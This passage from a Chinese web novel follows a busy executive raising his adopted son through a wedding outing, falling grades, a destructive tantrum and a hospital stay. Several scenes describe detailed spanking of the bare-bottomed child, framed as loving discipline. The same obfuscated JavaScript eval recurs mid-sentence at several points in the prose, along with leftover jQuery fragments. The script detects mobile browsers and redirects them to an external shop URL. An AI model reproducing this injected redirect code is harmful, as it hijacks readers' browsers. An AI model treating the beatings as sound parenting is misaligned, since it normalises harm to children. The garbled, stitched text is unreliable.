尤朗一连打了十几下，屁股才显出一点粉色来，心想这孩子要疼狠了，有心让他缓一缓，又不能被他看出来，便板着脸问：“知不知道爸爸为什么不许你在外面乱说话？” “呜，”好容易停歇一会，邱嘉楠都要哭了，“爸爸说，我一说话，别人就拿捏住爸爸了。” 尤朗长腿往上抬了抬，让小孩完全倒到自己身上，道：“你是我儿子，你一说话，人家多多少少会觉得那是我的意思。我如果没表露过态度，人家就会想从你身上下手，讨你的高兴。你要知道，以后就算有人要讨你高兴，也未必是真喜欢你，不过是想从我们身上捞好处。所以不管是为了爸爸还是为了自己，你都要小心，不要人家说什么你都马上回复，要留心眼，知道吗？” 有点复杂，字面意思听懂了，可到底是一种什么样的情形，邱嘉楠还没有认知：“爸爸，我不懂。” “以后你就懂了，你现在就记住，在外面别乱说话，特别是跟爸爸有关的事情。” “知道了。” 说这么一会话，屁股上那点粉色还褪了些，尤朗扬起巴掌，“噼里啪啦”地落下，邱嘉楠“呜呜呜哇哇哇”地哭喊着，仿佛身后落下的不是巴掌，而是烙铁。 屁股渐渐升温，原本脆生生的新鲜疼痛转变成令人麻木的钝痛，而且一连打了好多下爸爸都没有停下让他歇歇，实在是太难受了。 邱嘉楠心里数着数，爸爸一口气就打了二十几下。他一边忍着疼一边抱着“就快结束了”的美好希望，哭唧唧地抱着爸爸，可怜兮兮的。 五十下过去，屁股已经绯红一片。尤朗看着这个颜色，心想这下总该让他吃到教训了，但依旧沉着脸色，让小孩站起来。 邱嘉楠连裤子都不敢拉上，乖乖晾着个屁股。 “今天跟你说的话都记住了？” 邱嘉楠连忙点头。 “以后再犯怎么办？” 小孩猛地摇头：“以后不敢了。” “你敢不敢我不知道，我只问你，以后再这样怎么办？” “打、打五十下屁股，”邱嘉楠吞吞吐吐道，一看爸爸显然不满意，又立刻加码，“打、打、打一百下，翻倍，嗯，还不行啊？” “啪”一声，尤朗一掌扇在小孩光溜溜的屁股上，狠狠道：“下次再这样，就打烂你的屁股！” 邱嘉楠缩起了脖子，真跟个小鹌鹑似的。 还是心疼，又不能不管教，当爸爸是有点难的。尤朗怕小孩挨了打，心里不痛快，又拉着小孩到怀里揉伤，放柔了声音：“知道爸爸为什么打你？” 邱嘉楠只记爸爸的好，从不记爸爸的仇，一看爸爸变温柔了，就把头靠在爸爸肩上，说：“我知道，是我不对。” “楠楠，爸爸是真的心疼你的，打你的时候爸爸也不愿意，但是有些错，真的不能犯两次，知道吗？” 邱嘉楠搂着爸爸的脖子，点了点头。 伤得不重，尤朗揉了几下以后就帮小孩穿上了裤子：“能不能走？爸爸带你去吃好吃的。” 邱嘉楠高兴得不得了，立马站起来跟着爸爸走了。 环岛奇森压根没什么暑假作业，邱嘉楠在家除了偶尔上钢琴课就是看电视和遛狗。颜丹琳在N市的时候，邱嘉楠打电话给爸爸说一声，就跑女孩子家里玩去了。颜丹琳天天带小男孩去大剧院看演出，要么就在家里让保姆给他们做饼干做布丁做蛋糕。有回把厨房搞得到处都是奶油，保姆跟大人抱怨了好一阵，颜丹琳妈妈带着两个小孩上山烧烤去了。 尤朗忙得很，没空操心小孩，反正每天都是司机接送，出不了问题。小孩子嘛，总是要玩玩的。 快八月底，方案总算是做出来了，接下来要准备投标的事，尤朗刚松了一口气，章信便推门进来，道：“尤董，童经理今天结婚，之前说过的，给公司的人留了位，一个半小时之后晚宴开始，尤董过去吗？” 这个童经理大学毕业就进了公司，到现在也好几年了。可能是尤朗懒得搞职场那些东西，他们公司的人际关系相对简单和谐一些，不少人结婚或是乔迁都会叫上公司的人，大家就嘻嘻哈哈地去玩，当团建。 可尤朗现在只想好好休息，挥挥手：“不了，你们去玩吧。”可还没等章信说话，尤朗又道，“不，等会，酒店在哪儿？” 章信说了酒店的名字：“过去大概二十分钟，如果尤董要去，一个小时后出发就行。” “你等一下。”尤朗拿起电话，拨了个号码出去，“小帅哥，今天玩累没有？” 邱嘉楠今天和颜丹琳去省图书馆的少儿阅览室玩了会，很早就回到家了，这会儿正光脚盘坐在地上撸阿拉斯加，一听电话响，便跑来接：“不累啊。” “去换身正式点的衣服，然后来公司，爸爸带你玩去。” 邱嘉楠先是一喜，随后又想到问题来：“可是司机已经回家了！爸爸来接我！” “自己打出租车过来，听话，快去吧，挑漂亮的衣服穿。” 章信在旁边一听就知道怎么回事了，看 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邱嘉楠好糊弄，顿时就觉得自己变漂亮了，拉着爸爸的手：“现在走了吗？” 袖扣散落在桌面上，反着光，尤朗懒得收，道：“走吧。” 童经理的婚礼场面很大，亲戚朋友、同学同事，能请的全请了，一进门就热热闹闹的。邱嘉楠第一次参加别人的婚礼，一直伸着脖子看台上司仪说话，新郎新娘就站在旁边，等着走流程。 “爸爸，童经理今天好漂亮啊！” “对啊，女孩子今天最漂亮了。” 哇，要是颜丹琳来了，她也是最漂亮的了？下次要找个人跟颜丹琳结婚才行。 邱嘉楠糊里糊涂地给自己的青梅安排了一场婚礼，又看台上到了交流戒指的环节，一男一女两个小孩各提着一个小花篮走到台上，新郎新娘分别取出戒指来给对方戴上，司仪道：“交换了戒指，我们的新郎新娘以后把对方套牢了，一辈子也不能分开了。” 宾客们全都欢呼起来，邱嘉楠听着耳边的笑声，扭头问：“爸爸，戴了戒指就可以不分开了吗？” “对啊。” 这一桌都是公司的高层，他们这些人这两年都是看着邱嘉楠长大的，邱嘉楠也不害羞，道：“我也想和爸爸戴戒指。” 众人笑起来，一个女副总道：“楠楠，你也要给你爸爸当新娘了？” “不是，我是要跟爸爸在一起。” 众人笑得更欢了。 34. 第 34 章 童言无忌，但尤朗还是感觉到了小孩的不安全和不踏实。也许在楠楠心里，爸爸总还是有可能抛弃他的。 晚宴结束，尤朗开着车带小孩去了一趟商场，停车一看，小孩都快要睡着了：“楠楠，累了？” “嗯，到家了吗？” “还没，我们要去买戒指。” 什么？！真、真的吗？邱嘉楠几乎是一瞬间就清醒了，揉揉眼睛，问：“是我和爸爸戴吗？” 尤朗笑着点点头。小孩立刻来了劲，生龙活虎地下了车。 商场一楼有很多珠宝首饰品牌，尤朗带着小孩挑了一家店走进去，立刻有销售人员迎上来，笑问：“先生需要什么？” “对戒。” 这个年纪的男人，带着个孩子说要看对戒，销售自然而然地认为是丈夫要瞒着妻子买生日或是结婚纪念日的礼物，笑着将他们引到一个柜台前，介绍道：“这是我们店里的对戒，是先生和您太太戴吗？” “不是，”邱嘉楠脆生生道，“是买给我。” 销售脸上现出些错愕，这么小的孩子买对戒，这真没见过啊！ 尤朗拉开椅子坐下，也不让小孩坐另一张椅子，直接把人抱上腿，道：“对，买给你，你喜欢哪个？” 邱嘉楠趴在玻璃柜台上，细细地看起来。一会指着这个，一会指着那个，最后销售拿了一堆出来给尤朗试。尤朗话都不说一句，由着邱嘉楠左看右看，大半个小时过去，才挑出一个合心意的。 尤朗又让销售找了一条素链子，穿过戒指，戴在小孩脖子上。 “这样？” “嗯！”邱嘉楠重重点头，这样他就把爸爸套牢了，一辈子也不会分开了。 邱嘉楠开学就上五年级了。尤朗依旧忙忙碌碌的，也顾不上小孩，反正这孩子在学习上不用人操心，他就省心管公司的事了。 有天晚上，尤朗正在家里书房看下面人交上来的展示ppt，邱嘉楠敲敲门进来，手里拿着几张纸，道：“爸爸，作业，要用电脑。” 其实这个作业是周末的，不用急在今晚做完。可是这段时间尤朗早出晚归的，邱嘉楠少说也有一个星期没见到爸爸了，好不容易爸爸在家里办公，他想和爸爸一起呆一会儿。 尤朗眉心紧锁，本来ppt上问题就多，现在小孩居然要用电脑，早知道他该在公司加班的。不过尤朗还是关掉了ppt，把电脑让给了小孩。 这电脑以前是方便在家工作购置的，也没想到会出现这种情况。 邱嘉楠的作业是使用文档插入图片、表格等，目的就是让学生熟练操作电脑文档。尤朗看着小孩慢吞吞的模样，问：“是不是经常有用到电脑的作业？” 邱嘉楠点点头。他不知道别的学校是怎么样，但是环岛奇森就是这样，乱七八糟的东西少讲，直接上手，多弄弄就会了。反正能去环岛奇森上学的小孩，家里也不缺电脑。 尤朗想想，自己似乎太忽视小孩的学习了，虽然小孩不用他操心，但是连小孩需要什么都不清楚，就有些失职了。 “之后让章信给你买台电脑放房间里，你做作业方便些。” 邱嘉楠眼睛亮亮的，高兴地点了点头。 十月底投标，十一月上旬出结果。公司如愿以偿地拿到那块地，上上下下都高兴得不得了。尤朗正说着给大家团建，章信却接到了学校老师的电话。 尤朗敏锐地听见章信说老师，心里一动，等章信回来便问他是什么事，章信如实回答：“说是周末家长会。” 以往家长会都是章信这个假家长去参加，今年尤朗是很想亲自去的，但刚拿到标，后续工作一点也不能放松，也只好继续如此：“还是你去，顺便跟老师说一下，以后学校的电话打到我这里就好，不能老是让你处理楠楠的事，不然我得发你两份工资。” 章信笑道：“楠楠也没有很多事要处理，尤董不必放在心上。家长会上如果老师有交代，我回来告诉您。” “好，去吧。” 其实以前家长会都没啥事的，也就三年级的时候说过孩子太孤僻，可这回还真的有事了，老师说，务必让家长亲自来一趟。 尤朗周一上午听各部门汇报工作，主要还是新标的问题，内部么，要继续细化设计方案，对外么，既要跑政府部门办理各种文书证件，又要跑银行谈合作，还要找建材、施工方等，总之就是光听就头疼了，更别说要做。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581274|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过这都是大工程，本来就不是一时半会能完成的。只是，当尤朗道脑子被塞得满满当当还被章信提醒下午要去学校见老师时，就没办法保持好心情了：“是什么事啊？” 章信老实回答：“是楠楠的成绩。他以前都是年级第一的，这次退得太厉害了。” 真是，每回被叫去学校都没有好事，尤朗火气一下就烧起来了，道：“你去给我买点什么能打人的东西，放我车上。” “尤董，”章信有点担心，“您要冷静啊！” “让你去你就去。” 到底是疏不间亲，章信作为一个助理，没什么插手人家父子关系的立场，只得应了声是，离开了办公室。 环岛奇森培养的是留学生，这学校里头至少有三分之一是初中就要出国的，就算中学还留在国内，肯定也是有将来出国的打算的，因而并不像公立学校那样非常在意成绩。但是，邱嘉楠最近的情况实在是太奇怪了。 “如果是十名以内的波动，我们认为都是正常的，但是您看，邱嘉楠同学的成绩，”老师把成绩单转到尤朗面前，“断崖式下跌。” 尤朗头痛，虽然来之前做好了心理准备，但是数字图表一到他面前，还是烦得不行。 “而且，邱嘉楠同学最近似乎有些厌学情绪，不仅是语言或数学课上，还有音乐体育科学等等课程，他对校园生活的兴致非常低，我们认为，这应当引起学校和家长的重视。” 话是这么说，但尤朗听得出弦外之音。家长是人学校请来的，说明学校够重视了，这意思明摆着，说你家长不关心小孩。 尤朗难受，这还不够关心啊，这都要什么给什么了，还要怎么关心？他又不是保姆，天天陪着上学写作业不成？ 但这些话不能在老师面前说，尤朗道：“我知道了，谢谢老师，我会和孩子沟通的。” 尤朗的沟通向来不大善意。看孩子上了车，便将一个长条盒子递过去：“看看，都是给你准备的。” 邱嘉楠感受着车内的低气压，预料到不是什么好事，冷静地打开了盒子。盒子里，是章信中午去一个书院文创店买的东西，一柄坠着流苏的戒尺，一根藤条，还有一根伸缩教鞭。 35. 第 35 章 邱嘉楠预料到会挨打，但没想到这么有仪式感，一时间有些脸红。可是他一点也不怕，反而有点高兴。半个学期了，这是他第二次见到尤朗，第一次就是在家里书房用电脑那个晚上。 尤朗真的忙得过分。 回到家里，打扫卫生的阿姨已经结束工作下班了，做饭的阿姨刚买菜回来，正在厨房里忙活。尤朗现在知道要顾着小孩面子了，没在楼下动手，带着孩子到二楼的小客厅去了。 原来这个小客厅是邱蕊招待其它富家太太用的，三三两两聊天喝茶。邱蕊走了以后，这里就一直闲置着，不过阿姨还是会打扫得干干净净。 尤朗坐在小沙发上，指着面前，让小孩站过来：“你知不知道老师跟我说了什么？” “是我成绩太差了吗？” 小孩看上去非常冷静和从容，像是对自己的情况很了解，尤朗想，也许这次交流会很容易。 “老师说，你不喜欢上课？可是你以前学习很好，为什么突然这样？” 尤朗拿出了十足的耐心，但邱嘉楠只是摇摇头，并不说话。 “楠楠，你知道爸爸很忙，没有这么多时间和你慢慢磨。这一个下午，你知道爸爸耽误了多少工作吗？” 小孩最听不得这个，当即扭头道：“那你为什么还要去学校？你可以留在公司啊！” 尤朗不耐烦地“啧”了一声：“你能不能好好说话？有问题我们就解决问题，少攀扯别的！” 问题就是我不要你这么忙，我想你送我上学接我放学，周末可以带我去玩，家长会上我有个实实在在的家长！邱嘉楠在心里嘶吼，可是方才尤朗说了一句很忙，他就什么都不想说了。 “我没有问题，我也不要解决，你忙就赶紧走，别管我！”邱嘉楠不管不顾地吼了一句，转身就要跑。 尤朗的火气全被激上来了，一把抓住小孩，没有任何预兆的，直接扒了裤子就打。可是才落了两三下巴掌，邱嘉楠就挣扎起来，对着尤朗拳打脚踢，根本不给他碰自己。 “邱嘉楠！你怎么回事？！你现在不听话了，做错事说错话我也不能教训你了是吧？！” 邱嘉楠暂时消停了，眼眶通红通红的，却没有掉眼泪。其实爸爸刚才说那么多他都没觉得难受，可是爸爸竟然说他不听话了。 他明明一直都是最听话的，他只不过是想要一点和爸爸在一起的时间而已。 心脏处似乎在缓缓地塌陷，邱嘉楠盯着尤朗，眨了两下眼，又长又翘的眼睫毛一扇一扇的，等到第三次眨眼，饱满的眼泪“唰”地滴下，压根没淌到脸上，直接就砸地上了。 尤朗被他这个眼神和眼泪给震住了，柔软的心像是瞬间被拧了一下。他怔愣片刻，抓着孩子的手稍微一松，本想就这样算了，可是邱嘉楠没有跑，反而转过身，趴在沙发扶手上，屁股顶着全身上下的最高点，心甘情愿接受责打的模样。 尤朗也不是非打他不可，只是觉得小孩有些欠教训，他若真心知错，打几下便罢了。尤朗打开盒子，拿出戒尺来，贴在小孩屁股上：“爸爸不想一一数你多少错，你是聪明的，自己都知道，打二十下，今天的事就过去，行吗？” 邱嘉楠没有说话，尤朗等得不耐烦，便默认他接受了，扬起戒尺，“啪”一声落在小孩臀峰上，流苏扫过手背，凉凉滑滑的。 邱嘉楠第一次挨戒尺，整个人控制不住一颤，只觉身后炸开一阵脆脆的疼痛，差点就要呼喊出声，但还是咬牙忍住了，心想古时候的小孩常常挨打，也是很苦的。 尤朗不敢用太大力，每一下都是五六分力，“啪啪啪”的，声音又生又脆，小孩屁股并不红肿得十分厉害，加上也没有哭喊，尤朗便不大担心，继续打了下去。 实则戒尺打人还是疼的，尤其对邱嘉楠这种吃不住疼痛的小孩来说，每一下都得凭借意志力强忍，几下过去，眼泪就“啪嗒啪嗒”往下落了。只是，他已经快十一岁了，到底有自尊心，实在是不愿意大喊大叫了。 其实，如果有人疼有人爱，他还是会叫的。但他到底是配不上。 邱嘉楠一边挨打一边胡思乱想，最后觉得全天下就自己最惨，二十下挨完，只是臀峰上肿起几道尺痕，但眼泪水却不知道流了多少了。 听见爸爸说打完了，邱嘉楠不愿意说话，起身拉起裤子，小步跑回了房里。 尤朗看着小孩倔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581275|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强的背影，无奈地摇了摇头。 尤朗一连几天心神不宁，周四下午想着回去看看孩子，特地把其它工作推了，按时下班回家。 司机说邱少爷已经到家了，尤朗进了门，在楼下没见着人，径直到楼上去了。 “楠楠，”尤朗敲敲孩子的房门，“爸爸开门咯！” 房间里好几秒都没传出声音，尤朗拧了下门把，推开了门。门一开，他便看见孩子坐在书桌前，面无表情地盯着电脑屏幕，屏幕上是五颜六色的游戏画面。 尤朗有些想不到孩子一回家就打游戏，难不成真是老师说的那样，厌学了？ “楠楠，写完作业了？” 邱嘉楠看了尤朗一眼，沉默不语，继续打游戏。 尤朗觉得这样的小孩太陌生了，冷漠锋利，叛逆乖戾，仿佛随时会突然跳起把键盘一把摔碎，根本不是那个乖巧听话的邱嘉楠。尤朗抓住他迅速按压鼠标的小手：“楠楠，我记得电脑是买来给你做作业的。” 果不其然，按不了鼠标的小孩暴躁异常，开始“乓乓乓”地敲键盘，游戏画面很快灰白一片。邱嘉楠抬起头，恶狠狠地盯着尤朗。 尤朗直接拔掉了插头和网线，沉声道：“邱嘉楠，你到底怎么回事？成绩退步，作业不写，一回家就打游戏，还这么暴躁，上次打你你没记在心里是不是？我推了工作特地回来看你，你就这样一句话不说？” 又是工作工作，邱嘉楠猛地一拳砸在键盘上，手生疼。 尤朗对他太失望了，也懒得动手，只道：“邱嘉楠，我实话跟你说，我也不求你成绩多好多优秀，但我一直以为你至少是个听话懂事的孩子。要是早知道你这个样子，我根本不会给你买电脑！”尤朗气血滚涌，只觉脑子都要炸了，“早知道你这么不听话，我什么都不会给你买！” 邱嘉楠不可置信地看着尤朗，似乎是要确认这就是他的爸爸，是那个说着“在情感上，他是我唯一的亲人”的爸爸，也是那个说“楠楠是爸爸的孩子”的爸爸。 原来，不管是妈妈还是爸爸，爱都是转瞬即逝的。 邱嘉楠再一次面对着尤朗，毫无预兆地落下了沉甸甸的泪水。 36. 第 36 章 认真算回来，尤朗学着当爸爸也才一年多的时间，很多事情他都没经验，也没有意识到那会造成多严重的后果。 尤朗次日下午接到了家里来的电话，打扫卫生的阿姨先是说钢琴有一角像是被砸过，钢琴键盘盖上好多用刀子划出来的痕迹，琴凳也是，后来发现邱少爷房间里的电脑被扔到了地上，房间一片凌乱，衣服什么都堆在床上，阿姨想收起来的，发现好几件都破了，剪刀剪的。最后的最后，阿姨在楼梯边上捡到了一枚戒指。 尤朗心里“咯噔”一下，知道事情闹大发了。 尤朗挂掉电话，顾不上公司的事，穿上西装外套就要走，章信忙道：“尤董，还有一些文件！” “整理好，送到家里来，我得马上回去。”尤朗头也不回地往外走，章信追都追不上。 尤朗到家，看见了阿姨说的那一片狼籍，心里又气又慌，生怕小孩做出什么不理智的事情来，立刻打电话给司机，问接到小孩没有。司机说刚接到，正准备往家里去，尤朗这才松了一口气。 “这些都先清出房间，把睡觉的地方腾出来再说，其它地方别收拾了，明天再说。” 阿姨不知道发生了什么，应声道：“好。” 尤朗等了半个小时，小孩和章信是同时到的，外头雷声阵阵，乌云沉沉，“哗”一声，大雨倾盆而下。 尤朗顾不上章信，只冲小孩道：“你怎么回事？砸电脑、砸钢琴、剪衣服……” 邱嘉楠心头一阵报复的快意，道：“是你说的，你说早知道这样，就什么都不会给我买，那我就全都不要了！” 章信没想到会看到这样的场景，当即走也不是，留也不是，为难万分。 外头雨声巨大，吵嚷得尤朗更加烦躁：“所以你就把我给你买的东西都毁了，你以为这样就当我没买过是吗？那你怎么不退学？怎么住我的房子？还有那条狗……”尤朗忽然不说了，他发现，那条狗真的不在，“山田心呢？” 邱嘉楠狠狠将书包掼在地上，眼泪流了一脸：“我不上这个学了，也不住你的房子了，山田心我把它杀了炖了！”说着就往门口跑。 “楠楠！”章信眼疾手快地抱住小孩，“楠楠，别这样，冷静一点，楠楠不哭…… ” “章信，你放开他，让他去，我看他能到哪里去！” 邱嘉楠仰头大哭。他到底不是亲生的，就算爸爸真的不要他了，也不会再有什么能将他们死死绑在一起的东西。 小孩正哭着，外头门铃响了。家里没有其他人，尤朗只得亲自去开门。门外是一个打着伞的女人，手里牵着浑身上下湿透了的山田心：“这是你们家的狗吧，我上午就看见狗绳绑在树下，刚刚回来又看见了，这放外面淋坏了！” 尤朗不常在附近转悠，不眼熟对方，估摸着是附近的住户，不过山田心是真的。他接过遛狗绳，体面道：“谢谢，小孩不懂事，恶作剧呢！” “那行，狗送回来了啊，以后别这样，狗会伤心的。” 邱嘉楠在屋里听着外头的对话，又见山田心毛发湿成一坨一坨的，“嗒嗒嗒”地往下滴水，走进来就带出一道亮晶晶的水线，突然觉得自己就像山田心一样可怜，都是要被抛弃的。 山田心似乎感觉到了小孩的情绪，没有叫喊，只是慢慢地走到小孩身边，乖巧地摇着头蹭他。 尤朗见他连山田心都能丢，心里万分失望：“邱嘉楠，我要怎么对你好才行？” “我不要你对我好！”邱嘉楠本来已经被山田心蹭得心软了，可是爸爸一说这个，他的脾气又上来了，哭着喊，“我什么都不要了！不要你给我买东西，也不要住你的房子了，我恨不得杀了它！”小孩边哭边用力地打山田心，小狗“呜”地惨叫起来，仿佛也伤了心一般。 “楠楠，楠楠，不要这样，”章信忙抓住孩子的手，把孩子抱进怀里，“山田心也会伤心的。” “我不要了，我什么都不要了…… 呜……呜我什么都没有了……”邱嘉楠跌坐在地上，失声痛哭。 山田心“呜呜”地用头蹭着小孩，小孩终于受不了，抱着湿透了的山田心，边哭边口齿不清道：“呜呜对不起……” 尤朗第一次看见这么伤心的孩子。也许邱嘉楠有过更伤心的时候，但从前尤朗并未关注到他，对那些伤心也就没有概念。而在尤朗开始陪伴小孩成长以后，邱嘉楠确实第一回如此伤心。 不是恐惧，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581276|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是失落，是伤心。 嘶哑的哭声像锯子一般，在尤朗的心上来回切割，血淋淋的。 尤朗往前两步，将小孩从地上抱起来，怎料邱嘉楠立时挣扎起来，两手胡乱挥打着，不给他抱：“我不要你了不要你了，我恨死你了！” 简单的两句话像棒槌一样，一下下敲在尤朗心里最柔软的部位。他红了点眼眶，用力抱着小孩，拼命地把小孩往自己怀里搂。 “呜……你根本就不爱我……呜……” “没有，”尤朗抱着小孩低语，“不是的，爸爸爱楠楠的。” “呜……呃！咳咳咳……”邱嘉楠几乎要哭断气了，一个抽泣就猝不及防地被口水给呛了，随后不受控制地猛咳起来。 尤朗生怕小孩呛着，手上给小孩拍背顺气，嘴里还不停哄着让他平复情绪：“楠楠不哭，先别哭，楠楠最乖了，爸爸最爱楠楠了……” 邱嘉楠狠狠地发泄了一番，后果就是声音哑了，全身脱力却还一直颤抖个不停，连饭都得尤朗一口一口喂。可即使尤朗说了一千八百句好听的，邱嘉楠也没有全然原谅他，依旧不和他说话。 邱少爷脾气大呀，尤朗默默叹气，完了还是鞍前马后地伺候着少爷睡觉。 “没有睡衣了，穿这个吧。”尤朗从自己的衣柜里找了件质地柔软的条纹T恤，那还是去年夏天去打高尔夫的时候穿的，两千多块的衣服穿了一回就拿来给邱少爷当睡衣。 邱嘉楠不说话，任由爸爸把衣服套到自己身上。宽大的T恤一垂下来，跟裙子似的。可一看小孩那不带一点笑故作严肃的脸，又活像个小尤朗。 “今晚先这么睡吧，爸爸明天再跟你买新的。衣服买新的，电脑也买新的，好不好？”尤朗讨好似的问。 邱嘉楠扭头上了床，背对着他，示意自己要睡了。 好挫败啊，尤朗心想，这么多年，他就没做过这么亏本的买卖。就因为说错一句话，前面的努力全打水漂了，现在还得倒贴，生意人难做啊！ 但再难做也得忍着，尤朗给小孩掖了下被子，道：“楠楠晚安，爸爸帮你关灯了。” 还是没有回应，尤朗没办法，只得帮小孩关了灯，退出了房间。 37. 第 37 章 哄小孩是世界上最难的事情，哄邱嘉楠难上加难，楠啊！尤朗前一天晚上连第二天怎么做都想好了，先喂早饭，再送去学校，完了把要买的东西列个清单，让章信去买……可是，邱嘉楠半夜就烧得起不来了。 尤朗是第二天一早发现叫不醒孩子的，任他怎么喊怎么抱，邱嘉楠最多只哼哼两声。尤朗慌了神，立刻把小孩送到医院去了。 只是发烧而已，吊瓶一挂上，温度就慢慢退下来了。尤朗想一直陪着吧，可公司又要开会，实在很难两全，只得一再保证开完会就过来。邱嘉楠躺在病床上，恹恹的不说话。 尤朗请护士帮忙多照看一下，自己开车回了公司。 之前拍下的那块地最终被规划成了一个商场和配套两区，两栋写字楼，但由于写字楼功能重复，项目经理提出将其中一栋写字楼改为酒店，可以招商，也可以自己经营。 商场、写字楼、酒店，都是前期投入大，但如果经营得当，后期就能一直往回收钱的项目。尤朗想到邱嘉楠，几乎没有犹豫就答应了。 今天开会就是要讨论酒店的定位和经营项目。公司在这方面没有经验，因而前段时间找了一个酒店管理团队给他们写企划。尤朗边翻企划书边听项目经理报告，别的都没问题，就是酒店名字实在不怎么样：“这是把全世界最难听的名字都列出来了？” 女副总笑了下，道：“尤董别太苛刻了，第一回嘛，哪有马上做好的？让他们改呗！” 项目经理先是一愣，听见副总帮他说话，要立马顺杆爬：“是，尤董，您有什么意见尽管提，我和管理团队再沟通。” 尤朗其实没啥心情看这些，一颗心全挂在那个小孩身上，就好像打点滴一样，他们之间有一根看不见的输液管，长长的，从邱嘉楠身上，一直连到尤朗身上。 尤朗在纸上写了几个字，还没说话呢，机灵的项目经理念了出来：“南方有嘉木，哦，懂了，南方酒店，简单大气。” 尤朗：？？？ 经理一看，尤董这表情不对啊！脑子一转，又道：“我知道了，是叫有嘉酒店，琅琅上口，令人印象深刻。” 会议桌上众人纷纷捂脸，眼看着尤朗的脸黑得像张飞，章信忍不住出声道：“尤董应该是想说嘉木酒店。” “哦！”项目经理恍然大悟，“嘉木酒店好，一听就有内涵，有文化。” 尤朗对于这种马屁爱听不听，只道：“整个项目名字都改掉，改成南方嘉木，下面所有的子项目名字都从这里出，不要搞得乱七八糟的，就这样，散会。” 别人不知道，章信还能不知道吗？上回尤董把小孩打了送一栋别墅，这回送个几十上百亿的项目，他敢打赌，五年之内尤董一定会把股份划给楠楠。 给尤董当儿子真好啊，他也想给尤董当儿子。章信默默感叹道。 然而尤董的儿子此时十分不高兴，家里阿姨送来了炖好的汤，淡得跟没放盐一样，喝了一口就不愿意喝了。尤朗端着碗，舀了一勺喂到小孩嘴边，温声哄着：“楠楠喝一点，什么都不吃怎么行啊？等病好了爸爸带你吃肯德基去，听话，喝几口。” 邱嘉楠还是不和他说话，默默扭开了头。尤朗穷追不舍：“楠楠，你生爸爸气也不能和身体过不去啊，本来身体就不好，不能这么任性的，乖，你这样一直不好，山田心也会担心你的。” 大概是听到山田心，邱嘉楠不情不愿地张开嘴，又喝了一口。 一小碗汤，尤朗连哄带骗，端得手都酸了，才终于喂完。整个过程，没听见小孩和他说一句话。 尤朗叹气，把碗放在一边，洗手去了。 医生过来看了下，小孩现在是低烧状态，但依旧浑身乏力，各项指标也都不大理想，显然要再观察几天。尤朗跟着医生出了病房门口，问长问短的。邱嘉楠偷偷看爸爸，耳朵也留神听着，心想他要是有一点嫌我烦，就再也不理他了。 可是他半点不耐烦也没听见，只听到爸爸焦急地问医生贫血怎么办。医生说，那是基因问题，没办法。 “那就这样拖着？” “看情况，必要时候输血吧。” 再后来邱嘉楠就听不到了，过了十来分钟，尤朗又走了进来。邱嘉楠本以为尤朗会说点什么，但他只是坐在病床边，摸摸小孩的头：“楠楠累不累？要不要再睡一会？” 邱嘉楠本就没精神，喝了汤以后就犯困，便干脆躺下了。尤朗耐着性子，给小孩盖好被子，温声道：“睡吧，爸爸陪着楠楠。” 因为生病的缘故，邱嘉楠十一岁生日也是在医院病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581277|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房过的。好好的一个生日，小孩连蛋糕也吃不上一口。尤朗一边给小孩喂饭一边哄：“没事的，过几天好了爸爸给楠楠补过，带楠楠吃肯德基，还买大蛋糕，好不好？” 邱嘉楠还是没有和爸爸说话，仿佛是在故意考验尤朗的耐心。但是尤朗这回的耐心也确实长得可怕，这么多天过去还是没显出一点不耐烦的样子。 出院那天，邱嘉楠以为好日子就这么到头了，可他没想到，他竟然就这样过上了理想的生活——尤朗一大清早就亲自送他上学，下午就亲自去接，晚上一起吃饭，睡觉之前还会来给他关灯——简直太理想了。 有好几回，邱嘉楠就想要么就这么算了，跟爸爸和好吧，但是他又怕，他一软和，爸爸第二天就不见了。 于是这张脸一板就是半个学期。 期末的时候尤朗第一次去参加了邱嘉楠的家长会。邱嘉楠的成绩又回到了第一，非常漂亮，老师一再夸奖，其他的家长又羡慕又嫉妒。 